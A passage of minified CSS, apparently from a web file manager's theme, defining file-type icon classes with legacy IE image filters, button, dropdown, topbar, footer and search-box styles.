\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/movie/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');}.x-rmvb{background-image:url("../../../images/file_icon/icon_file/movie/rmvb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');}.x-mkv{background-image:url("../../../images/file_icon/icon_file/movie/mkv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');}.x-mp4,.x-m4v{background-image:url("../../../images/file_icon/icon_file/movie/mp4.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');}.x-mov{background-image:url("../../../images/file_icon/icon_file/movie/mov.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');}.x-avi{background-image:url("../../../images/file_icon/icon_file/movie/avi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');}.x-3dm,.x-3ds,.x-asm,.x-cam360,.x-catpart,.x-catproduct,.x-cgr,.x-collaboration,.x-dae,.x-dgn,.x-dlv3,.x-dwf,.x-dwfx,.x-dwg,.x-dwt,.x-dxf,.x-exp,.x-f3d,.x-fbx,.x-g,.x-gbxml,.x-iam,.x-idw,.x-ifc,.x-ige,.x-iges,.x-igs,.x-ipt,.x-jt,.x-model,.x-neu,.x-nwc,.x-nwd,.x-obj,.x-prt,.x-rvt,.x-sab,.x-sat,.x-session,.x-skp,.x-sldasm,.x-sldprt,.x-smb,.x-smt,.x-ste,.x-step,.x-stl,.x-stla,.x-stlb,.x-stp,.x-wire,.x-x_b,.x-x_t,.x-xas,.x-xpr{background-image:url("../../../images/file_icon/icon_file/autodesk/autodesk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');}.x-3ds{background-image:url("../../../images/file_icon/icon_file/autodesk/3ds.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');}.x-3dm{background-image:url("../../../images/file_icon/icon_file/autodesk/3dm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');}.x-dae{background-image:url("../../../images/file_icon/icon_file/autodesk/dae.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');}.x-stl,.x-stla,.x-stlb{background-image:url("../../../images/file_icon/icon_file/autodesk/stl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/autodesk/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');}.x-dwf{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dwfx{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/autodesk/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');}.x-ifc{background-image:url("../../../images/file_icon/icon_file/autodesk/ifc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');}.x-iam{background-image:url("../../../images/file_icon/icon_file/autodesk/iam.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');}.x-fbx{background-image:url("../../../images/file_icon/icon_file/autodesk/fbx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');}.x-rvt{background-image:url("../../../images/file_icon/icon_file/autodesk/rvt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');}.x-skp{background-image:url("../../../images/file_icon/icon_file/autodesk/skp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');}.x-vnd,.x-dgn{background-image:url("../../../images/file_icon/icon_file/autodesk/vnd-dgn.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder-share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle-full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path-self-share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app-link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-user-self{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-group-self{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-group-self-owner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-group-guest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-group-self-root{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-group-root{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-group-public{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-tree-self{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-tree-fav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-logout{background-image:url("../../../images/file_icon/icon_others/logout.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');}.x-app-store{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}.frame-fullscreen{position:fixed;z-index:99999999;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.content-box .ace_cjk{width:1em !important;}.content-box .ace_static_highlight{font-size:1.15em;}.aui-buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialog-change-max,.dialog-change-max .aui-main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui-title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;box-sizing:content-box;}.btn:focus{outline:none;}.btn.btn-default .font-icon{color:#999;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}.btn.btn-active{background:#63acff !important;border-color:#4fa1ff !important;border-bottom-color:#449cff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#8cc2ff', endColorstr='#63acff');background-image:-webkit-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-moz-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-o-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-ms-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);-pie-background:linear-gradient(to to bottom,#8cc2ff 0,#63acff 100%);}.btn.btn-active:hover,.btn.btn-active:active{background:#3a96ff !important;border-color:#268bff !important;border-bottom-color:#1c86ff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#63acff', endColorstr='#3a96ff');background-image:-webkit-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-moz-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-o-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-ms-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:linear-gradient(to bottom,#63acff 0,#3a96ff 100%);-pie-background:linear-gradient(to to bottom,#63acff 0,#3a96ff 100%);}.btn-group.disabled{opacity:0.6;filter:alpha(opacity=60);}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;margin-top:0;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.pull-left:after{right:auto;left:10px;}.dropdown-menu.pull-left:before{right:auto;left:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.dropdown-menu .divider{margin:0.3em 0;}body .context-menu-list .context-menu-item.hover{background:#63acff;}body .aui-outer{*border:1px solid #7dbaff;border:1px solid #7dbaff \0/IE9;border:1px solid #7dbaff;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;top:0;background:#4267b2;position:absolute;z-index:auto;}.topbar .content{padding:0px;line-height:40px;height:39px;word-break:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar-menu{display:block;text-decoration:none;color:#fff;border:1px solid #5074be;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar-menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar-menu.title:hover{background:none;}.topbar .content .topbar-menu .icon{width:25px;height:25px;margin-right:5px;padding:0;margin-top:-4px;font-size:13px;line-height:25px;text-align:center;background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar-menu,.topbar .content .topbar-menu:hover,.topbar .content .topbar-menu.this{background:#5074be;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top-left.collapse{display:block;height:auto !important;}.topbar .content .top-left{overflow:hidden;height:40px;width:70%;}.topbar .content .top-right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top-right .menu-group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top-right .topbar-menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top-right .topbar-menu i{padding-right:3px;}.topbar .content .top-right .btn{color:#fff;}.topbar .content .top-right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top-right ul a:hover,.topbar .content .top-right ul a.this{margin-right:0px;}.topbar .content .top-right ul a.this{background:#63acff;color:#fff;}.topbar .content .top-right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top-right ul.dropdown-menu{margin-top:-1px;}.topbar .content .top-right ul.dropdown-menu.topbar-language{width:470px;padding:10px 5px;}.topbar .content .top-right ul.dropdown-menu.topbar-language li{width:115px;float:left;margin:0 1px 1px 0;}.topbar .content .top-right ul.dropdown-menu.topbar-language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top-right ul.dropdown-menu.topbar-language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share-title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share-title-info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share-info{color:#fff;float:left;font-size:1em;}.topbar .content .share-info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top-right div.share-info-user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top-right div.share-info-user .btn-download,.topbar .content .top-right div.share-info-user .btn.button-my-share{padding:4px 20px;margin-left:5px;}.topbar .content .top-right div.share-info-user .dropdown-toggle{height:16px;}.topbar ul.dropdown-menu.topbar-submenu{right:auto;left:auto;margin-left:-1px;margin-top:-1px;padding:20px 0 10px 20px;width:380px;}.topbar ul.dropdown-menu.topbar-submenu li{float:left;display:block;margin:0 10px 10px 0;width:85px;height:95px;}.topbar ul.dropdown-menu.topbar-submenu li a{border-radius:4px;display:block;height:100%;padding:0;text-align:center;}.topbar ul.dropdown-menu.topbar-submenu li a:hover,.topbar ul.dropdown-menu.topbar-submenu li a:active,.topbar ul.dropdown-menu.topbar-submenu li a.this,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover{background:#34a5ff;color:#fff;}.topbar ul.dropdown-menu.topbar-submenu li a:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:hover i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.font-icon{background:#f5faff;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a img,.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{width:64px;height:64px;line-height:64px;padding:0;margin-top:5px;opacity:1;display:inline-block;border-radius:10px;}.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{margin-bottom:-5px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon{font-size:36px;background:#def;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words{font-size:20px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words em,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words em{width:45px;height:45px;overflow:hidden;font-style:normal;display:inline-block;white-space:pre-wrap;}.topbar ul.dropdown-menu.topbar-submenu li a span{display:block;font-size:13px;padding-top:5px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;}.common-footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common-footer .copyright-bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common-footer .copyright-bottom:hover{color:#f60;border-bottom:none;}.desktop-widget{z-index:10 !important;}.do-search-box{color:#888;}.do-search-box .search-header{padding:10px;padding-bottom:0px;}.do-search-box .search-header input[type='checkbox']{padding-left:0px;}.do-search-box .search-header label{font-size:1em;}.do-search-box 